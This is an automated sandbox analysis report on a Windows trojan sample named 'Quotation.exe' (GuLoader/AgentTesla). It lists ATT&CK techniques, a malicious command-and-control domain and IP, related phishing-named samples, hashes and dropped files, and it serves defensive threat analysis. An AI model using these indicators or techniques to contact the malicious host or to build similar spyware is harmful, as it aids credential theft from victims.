Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	1 DLL Side-Loading	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	311 Security Software Discovery	Distributed Component Object Model	11 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	141 Virtualization/Sandbox Evasion	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Quotation.exe	58%	ReversingLabs	Win32.Trojan.GuLoader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
https://api.ipify.org/t	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://mail.showpiece.trillennium.biz	0%	Avira URL Cloud	safe
http://showpiece.trillennium.biz	0%	Avira URL Cloud	safe
http://r11.o.lencr.org0#	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
https://drive.google.com/	0%	Avira URL Cloud	safe
https://drive.usercontent.google.com/	0%	Avira URL Cloud	safe
http://r11.i.lencr.org/0	0%	Avira URL Cloud	safe
https://drive.usercontent.google.com/R	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_Error...	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.186.174	true	false	unknown
drive.usercontent.google.com	142.250.185.97	true	false	unknown
api.ipify.org	104.26.13.205	true	false	unknown
showpiece.trillennium.biz	67.23.226.139	true	true	unknown
mail.showpiece.trillennium.biz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://showpiece.trillennium.biz	Quotation.exe, 00000003.00000002.3293340440.0000000033D3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	Quotation.exe, 00000003.00000003.2357877321.0000000003887000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2357782710.0000000003887000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org	Quotation.exe, 00000003.00000002.3293340440.0000000033CC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://r11.o.lencr.org0#	Quotation.exe, 00000003.00000002.3293340440.0000000033D44000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3293947938.0000000036397000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2469042392.00000000363BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mail.showpiece.trillennium.biz	Quotation.exe, 00000003.00000002.3293340440.0000000033D3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	Quotation.exe, 00000003.00000002.3270442306.0000000003818000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	Quotation.exe, 00000003.00000002.3293340440.0000000033D44000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3293947938.0000000036397000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2469042392.00000000363BB000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3294043978.0000000036424000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	Quotation.exe, 00000003.00000002.3293340440.0000000033D44000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3293947938.0000000036397000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2469042392.00000000363BB000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3294043978.0000000036424000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.usercontent.google.com/	Quotation.exe, 00000003.00000003.2366718942.0000000003887000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3270442306.0000000003882000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2403781585.0000000003885000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	Quotation.exe, 00000003.00000003.2357877321.0000000003887000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2357782710.0000000003887000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_Error...	Quotation.exe	false	Avira URL Cloud: safe	unknown
https://api.ipify.org/t	Quotation.exe, 00000003.00000002.3293340440.0000000033CC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Quotation.exe, 00000003.00000002.3293340440.0000000033CC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.usercontent.google.com/R	Quotation.exe, 00000003.00000002.3270442306.0000000003882000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://r11.i.lencr.org/0	Quotation.exe, 00000003.00000002.3293340440.0000000033D44000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000003.00000002.3293947938.0000000036397000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000003.00000003.2469042392.00000000363BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
67.23.226.139	showpiece.trillennium.biz	United States	33182	DIMENOCUS	true
142.250.186.174	drive.google.com	United States	15169	GOOGLEUS	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
142.250.185.97	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1548300
Start date and time:	2024-11-04 09:59:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Quotation.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/12@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 148 Number of non-executed functions: 23
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Quotation.exe

Simulations

Behavior and APIs

Time	Type	Description
04:00:33	API Interceptor	581632x Sleep call for process: Quotation.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
67.23.226.139	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Revised PI 28 08 2024.exe	Get hash	malicious	AgentTesla	Browse
	PI 22_8_2024.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	COTIZACION 19 08 24.exe	Get hash	malicious	AgentTesla	Browse
	pago.exe	Get hash	malicious	AgentTesla	Browse
	invoice.exe	Get hash	malicious	AgentTesla	Browse
	SijLVTsunN.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	DHL BILL OF LANDING SHIPPING INVOICE DOCUMENTS.exe	Get hash	malicious	AgentTesla	Browse
	PO#86637 copy.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
104.26.13.205	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	Copia de pago de la Orden de compra OI16014 y OI16015.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	QUOTATION#09678.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Payslip_October_2024_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	V7FWuG5Lct.exe	Get hash	malicious	Quasar	Browse	172.67.74.152
	7ll96oOSBF.exe	Get hash	malicious	Quasar	Browse	104.26.12.205
	Payload 94.75 (4).225.exe	Get hash	malicious	Kronos, Strela Stealer	Browse	104.26.12.205
	Ordine d'acquisto OI16014 e OI1601.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://v90hdblg6c012.b-cdn.net/ppo45-fill-captch.html	Get hash	malicious	LummaC	Browse	104.26.12.205
	SecuriteInfo.com.Win32.Malware-gen.1695.31617.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	8RuktpEZ8Q.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Copia de pago de la Orden de compra OI16014 y OI16015.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	SC16C750BIB64 PHILIPS 2000pcs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	client1.exe	Get hash	malicious	Unknown	Browse	172.67.168.106
	https://www.supercontable.es/emailing/track_superc.php?Destino=!:%7D%7D%7C.fasttravelnet.xyz/YW5kcmVzLnRvcmliaW9AY2VsbG5leHRlbGVjb20uY29t&IdTracking=9008&user=000000	Get hash	malicious	Phisher	Browse	104.17.25.14
	B6EGeOHEFm.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	Q60ZbERXWZ.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	nuVM6HVKRG.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	XCubQJqiz7.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	upd.ps1	Get hash	malicious	Phemedrone Stealer	Browse	172.67.70.233
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
DIMENOCUS	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	67.23.226.139
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	67.23.226.139
	https://lumen.backerkit.com/invites/mAqpu6B5ZtIAsrg4a5WdGA/confirm?redirect_path=//rahul-garg-lcatterton-com.athuselevadores.com.br	Get hash	malicious	HTMLPhisher	Browse	107.161.183.172
	http://prabal-gupta-lcatterton-com.athuselevadores.com.br/	Get hash	malicious	HTMLPhisher	Browse	107.161.183.172
	nklarm7.elf	Get hash	malicious	Unknown	Browse	109.73.163.173
	rtransferencia-.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	138.128.178.242
	bin.i586.elf	Get hash	malicious	Gafgyt, Mirai	Browse	98.142.105.97
	https://docsend.com/view/63jvhxyyj7pwxerg	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	64.37.50.172
	RemotePCViewer.exe	Get hash	malicious	Unknown	Browse	199.168.186.114
	http://usaf.gov.ss	Get hash	malicious	Unknown	Browse	198.136.48.242

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Copia de pago de la Orden de compra OI16014 y OI16015.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	SC16C750BIB64 PHILIPS 2000pcs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.205
	B6EGeOHEFm.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.13.205
	Q60ZbERXWZ.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.13.205
	nuVM6HVKRG.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.13.205
	XCubQJqiz7.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.13.205
	upd.ps1	Get hash	malicious	Phemedrone Stealer	Browse	104.26.13.205
	WDSecureUtil.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.13.205
	DBp7mBJwqD.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.13.205
	nuVM6HVKRG.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.13.205
37f463bf4616ecd445d4a1937da06e19	No. 1349240400713.exe	Get hash	malicious	Azorult, GuLoader	Browse	142.250.185.97 142.250.186.174
	kWcgTHdqyB.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.185.97 142.250.186.174
	Request for Quotation MK FMHSRFQ241104.vbe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.97 142.250.186.174
	Permintaan Untuk Sebutharga RFQ 087624_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.97 142.250.186.174
	Permintaan Untuk Sebutharga RFQ 087624.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.97 142.250.186.174
	EE85716273#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	142.250.185.97 142.250.186.174
	Request for Quotation MK FMHSRFQ241104.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.97 142.250.186.174
	Request for Quotation_MYMRT.vbs	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.185.97 142.250.186.174
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	GuLoader	Browse	142.250.185.97 142.250.186.174
	SecuriteInfo.com.Win64.Riskware.ExplorerPatcher.B.21185.8531.exe	Get hash	malicious	Unknown	Browse	142.250.185.97 142.250.186.174

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll	1364. 2024.exe	Get hash	malicious	AgentTesla	Browse
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Quote_220072.exe	Get hash	malicious	AgentTesla	Browse
	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse
	PO-000172483.exe	Get hash	malicious	FormBook, GuLoader	Browse
	PO-000172483.exe	Get hash	malicious	FormBook, GuLoader	Browse
	PO-000172483 (2).exe	Get hash	malicious	FormBook, GuLoader	Browse
	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nss46CE.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.97694153396788
Encrypted:	false
SSDEEP:	192:acA1YOTDExj7EFrYCT4E8y3hoSdtTgwF43E7QbGPXI9uIc6w79Mw:RR7SrtTv53tdtTgwF4SQbGPX36wJMw
MD5:	D6F54D2CEFDF58836805796F55BFC846
SHA1:	B980ADDC1A755B968DD5799179D3B4F1C2DE9D2D
SHA-256:	F917AEF484D1FBB4D723B2E2D3045CB6F5F664E61FBB3D5C577BD1C215DE55D9
SHA-512:	CE67DA936A93D46EF7E81ABC8276787C82FD844C03630BA18AFC3528C7E420C3228BFE82AEDA083BB719F2D1314AFAE913362ABD1E220CB364606519690D45DB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 1364. 2024.exe, Detection: malicious, Browse Filename: Quotation.exe, Detection: malicious, Browse Filename: Quote_220072.exe, Detection: malicious, Browse Filename: Quotation.exe, Detection: malicious, Browse Filename: Quotation.exe, Detection: malicious, Browse Filename: PO-000172483.exe, Detection: malicious, Browse Filename: PO-000172483.exe, Detection: malicious, Browse Filename: PO-000172483 (2).exe, Detection: malicious, Browse Filename: Quotation.exe, Detection: malicious, Browse Filename: Quotation.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........@t.]!..]!..]!...T..Z!...Y..Z!..]!..I!...T..Y!...T..\!...T..\!...T..\!..Rich]!..................PE..L.....*c.........."!.....$..........J........@...............................p............@..........................@.......A..P............................`.......................................................@..X............................text...{".......$.................. ..`.rdata.......@.......(..............@..@.data...D....P.......,..............@....reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Music\antithetic.ini

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.264578373902383
Encrypted:	false
SSDEEP:	3:apWPWPjNLCNHiy:UPRCNHiy
MD5:	58AC0B5E1D49D0EE1AED2FE13FAE6C7A
SHA1:	02C8384573D47CA39F2E2ACA32B275861EC59A93
SHA-256:	624F49944CB84ED51FECABCD549AE3B47152F9A20C4A95E93C8B007AEFE9FEAB
SHA-512:	8F5F062D6EBB8312DA4AD4F5AF077B1EAA2E14244823F15E6A87A9E48C7172CC1EA5AB691D3B4F9D8F8E0605F9CB3AA06590B4389820DA531633D9915B988FFC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	[broadspread]..slyngvrk=houghband..

C:\Users\user\overlays\besvangredes\Emmens.udk

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	482519
Entropy (8bit):	1.2446382063037653
Encrypted:	false
SSDEEP:	1536:+yiLw81PnsncGiIsTVODPOqNbsVEVWZkZA4:G/Pne9iIyVODPsVpZkZA4
MD5:	1D099F6122F4B7C8A78925726B59E5C3
SHA1:	EEA154E31FF04CD1A2CED0193F7633ED219CFA47
SHA-256:	1B6DC1EAD079DB05B998725B154E803E6E1504E7E5B49C5611D55E018CD45E6D
SHA-512:	F31F0A285C5A6EB2236CCD49A8BF939E46624F270E0270FC4C5640B37684BC1C7780C5350F778DA8E9D0B8CD25320C1909A9CD937F15BB3A7CDDBCEEE94C47FB
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.....................................FP.l...........-...............#............W.............a...............3..........1..i.k.............;......H.............................2..............X..H.....}..................................................M.........M........................................................8......_............8....................................................................?...................................................................................J..............................................T.....................................................B..........................7.....................4........o..P................!........................................................................q..........................................................................l............................;...................................q...............................g.......mm......................................n.......................P.........

C:\Users\user\overlays\besvangredes\Proprietrer.bet

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	288955
Entropy (8bit):	1.2577770955280814
Encrypted:	false
SSDEEP:	768:l1SkOmjqFRV/HZzy6+19kZBH4YVHCdJS7G5iOUEEaXXLlgHHl7MRY9hN+418WPK5:KOqvBJzC5vBhp8KT9AGCbQTZkkR
MD5:	0B62328C4966F6B879B3C13B7FBD9C0D
SHA1:	6DD81F12E739E81E06778067513ED1178A06AFC9
SHA-256:	645C325F62AF720972466322B09A7E396E46D8E640B138D582374B68D763A3A7
SHA-512:	2F738A2950352F124F7B969D38B52BD2E4453FF42BC8DEB7566620E6CDEA30368A6DC16230BA49050F8C0327175CAB71DC4A1709541F08A3FFDCF55FAF5B75B8
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.........................................s.............i.......................................A.........................4.......;........i................................................_........................-.&..............................+..........................................................8.............................................?....U........................................................~........g... .....?...............................................................f............................S..................................!...........................j.............m....g....................................(............................z....d..........z..........^...............s...........................H............................t..........A.....................\|............................................................[.................................................\.......................v...........o...................................m...........

C:\Users\user\overlays\besvangredes\Trikstanks.pra

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	340974
Entropy (8bit):	1.254605943274635
Encrypted:	false
SSDEEP:	768:AgVdAd1etxyZmQhZgJwrQTTwKuiTGrJqCoIEsPkZnFFSKsOI4v/3n35lB3LiADa4:5TxLsV5IjQ3xx12
MD5:	49BE0E06F2E4F0CCFFB46426EE262642
SHA1:	FF9C56C31A824E4CA087705C23D01D288FE34239
SHA-256:	A55DAC07FB586D4B64F0DDF812087A2EEEC6F5286D9BC73AD648ED3220ABDD3A
SHA-512:	27E9D035708943DD257186457C15488C9405747FC77F7C76760C96EE011C239F9FA53B5DA17958038FB2BA1C4E27E643E7924A37E6164E250B9F45A109D92E53
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.....................................n.........A...5............K.................C.........a............>....................................................................................p...................................................................................................................W.......................................m.........................................M..........................'......i.............................................................................................4....................................}....................................................................................................................................................x...........S..................'..y............................................../..........................................M..................Z.................................V.......................................=.....N...............................n..................................\|. .....

C:\Users\user\overlays\besvangredes\Unprotectively.Fry

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	399458
Entropy (8bit):	7.576181832030088
Encrypted:	false
SSDEEP:	6144:LDplbZ05V2zN/hm4Qt4vENC20tkliS/+nFsNHo5JCaZ0BMz6GH0:LNlbGV2Z/MR4cNat3cHgJmMz8
MD5:	AE18AD1D473CDB183050652CEDA5C015
SHA1:	A4E4E1FDB5092B5E8C1836592A933220219E0465
SHA-256:	14A8F61535835B9D36A36BA4588FA5C7B6F8B0712E0F17CC9CB571DEDBB5460B
SHA-512:	26EF11EB6E92C4A49A8AF2E7888DDB023DD7795F5FC9D05D7F3CC139AA025845549B1F93E3ABDD0B410BC76D759FC677886C8D20EEADA9DC3EEAF42D2A0BF1DB
Malicious:	false
Preview:	....//.p..............................\|.R.......gg..........<........i..9......$...ff.......C.........................W...\|...........................R.F.......7.....#.....~....000.......`......................o........1...*.\.....0......;;;.NNN...,,........r...1.n........i.MjW...SZ...0~.=..,...'..t......q..f......f....&4.a1.H{&$.(.......c)..XJ.%.....:........1.+...9eh`x../...PbpG...AL.>U..3u7.y..l.f!5.6mO..Y.[......6.v...B....[A..\|.."....;]..VR.....^9.......DD..2.........................@....8..#-..Ks?.....f.r...=....#..... .F<........E..n........i.MjW...SZ...0~.=.....t......4,...'..t......q..I4.a1.H{&$.(.......c)..XJ.%.....:..w...7......+...9eh`x../...PbpG...AL.>U..3u7.y..l.f!5.6mO..f...f.k.....v...B....[A..\|.."....;]....}w.......VR.....^9.......DD..2........f.................@....8..#-..Ks?........=....#..... .F<....*....E..n........i.MjW...SZ...0~.=...dZ......4,...'..t......q..I4.a1.H{&$.(.......c)..XJ.%.....:..s.W...7......+...9eh`x.

C:\Users\user\overlays\besvangredes\Yoky92.For

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	Matlab v4 mat-file (little endian) \234\234\234, numeric, rows 6226008, columns 1953788928, imaginary
Category:	dropped
Size (bytes):	151977
Entropy (8bit):	4.61386909245272
Encrypted:	false
SSDEEP:	3072:gpw4seASHVIkooxAzT90BlNoIXNDdu4B0:VCA8mLoimBlKIdDduG0
MD5:	6B379F8EF49DAD739879E9C0C133DA91
SHA1:	39D93DA83AAC396E331FFB5E998F574575241B14
SHA-256:	B6EE19F43C0A6A088FD0D26E2C1A49ABA76D2A0BA76BAEA7D4D8783714520F58
SHA-512:	596A2A55FFA79AF8B66C115317CBF6E283E7416A01C5F19B805015BC013CAEA831BE1BFD55653E5E225F04C4610C96652E4AB227FC3D187AC3991163C0504E8A
Malicious:	false
Preview:	....X._..tttt....................c..h...{{{...........1......??????.....................W.......N....HHH......................................\|.................................T...........................................;.####....ll................??..\\.............."..........).......... .k....\\.......///..M......h..oooooo.....................5......................................~~......oo............. .................vvvv.4.FF....vvv..C....................................111111................<<<<...OO.{..t.....66.888..s....=.]........((...........e...............!............--...s.......r....!!.$$$..YY...............................HHH.................*.............QQQ.rr..l..........ss..b........X..........................................4.%.n..........D....lll..G................uu.C........XXXXXXXX.............++.].....YYY......................UU........cc.~..<..NN.............o.qqqq......xx.............k................................777...........}.....RRRR..++..........

C:\Users\user\overlays\besvangredes\boyaus.rom

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	392462
Entropy (8bit):	1.241128723454179
Encrypted:	false
SSDEEP:	768:jby0EUrStmwpKcx/orVcYZ+M3ok1I7vZFCDrlv2UV5t3votN6cGia46OGj3OkYSk:FaZaukRTadSdbrJ5N275Ea3nRYS3r
MD5:	F130EC3095DBECEDC791D8C58A59040C
SHA1:	DAD2300B487F31F199520E1B41AB02B7D677B352
SHA-256:	A56351ED69A301F5D9D89B6530280B7A85F998A806E1648911C37B6983BA9426
SHA-512:	8599200F472F2D59390E8F2C497331640B12AB9FAF71817160C6D450EDF8A99F78CEF28CC3B57581D6AECFC1EC90A49947A6685C606321B6EE300D483C838360
Malicious:	false
Preview:	..................J......-..............K....e..........1......................D....................................?............K.V..............................................\....3.......................................L.................................A.........i........,...........................P.{............................................................r................................................V........................................e............&.................................................7...................k.........<...s................).................................................x...............................j................................`.................b.................G.......w..........................................{.........................................G..............................:.................#..............................................<..O......^..........O..............................7..\................................

C:\Users\user\overlays\besvangredes\gear.dra

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	433786
Entropy (8bit):	1.255949132332751
Encrypted:	false
SSDEEP:	768:NFXORpsqJLOaVDzzoIgUPRGRoYNxHVxyczaUz4pP9Nom56I4tY6UBh1Yc88LaAQo:TUAoYxPzqoIzdwWR1+/24cwZXeCPiIBo
MD5:	53FF1A157920AE92C9BF891D453D6B65
SHA1:	B7BF3B7B16048F38132D8ACCA841130D73DB44C3
SHA-256:	FAD1B5E641DC44B5A51048470D4E0FB47664CF2B994CEA24304495D99323B9DE
SHA-512:	E739381C24627F89255DB55B2DA39A09F055A322C577C3604BA048FB2C817AE7F63B12131F8461491F6140953FB33DD94EB66D8CB3B13B36717143342CE270AF
Malicious:	false
Preview:	......................................j......................................."t......... .............Z..........................................+...o..G.......d......................................................................................X................5....................................F.........'.....................................................U...............................\............Y............)..............................d..D....................................................%.................................................Y..#.......................................................................................................................^.........................................j...........w...............................................n.....................................V..........i.............................................6...7..........*.........................................................................H.............................

C:\Users\user\overlays\besvangredes\jagtfalk.ill

Download File

Process:	C:\Users\user\Desktop\Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	374902
Entropy (8bit):	1.250991222921627
Encrypted:	false
SSDEEP:	1536:XkYzjcLYszRzU5n1C900tMkYQx+gnpovYHO:XkYz4DzQB5sYYH
MD5:	169115C751DDA5E021E8C86E8454B26D
SHA1:	5A8254634C0C726BB18E42E626EAEB581D532DCD
SHA-256:	ACCD4911D88E808AED4A2AA27394628C62574810B0B47977B7103A246FDF2A10
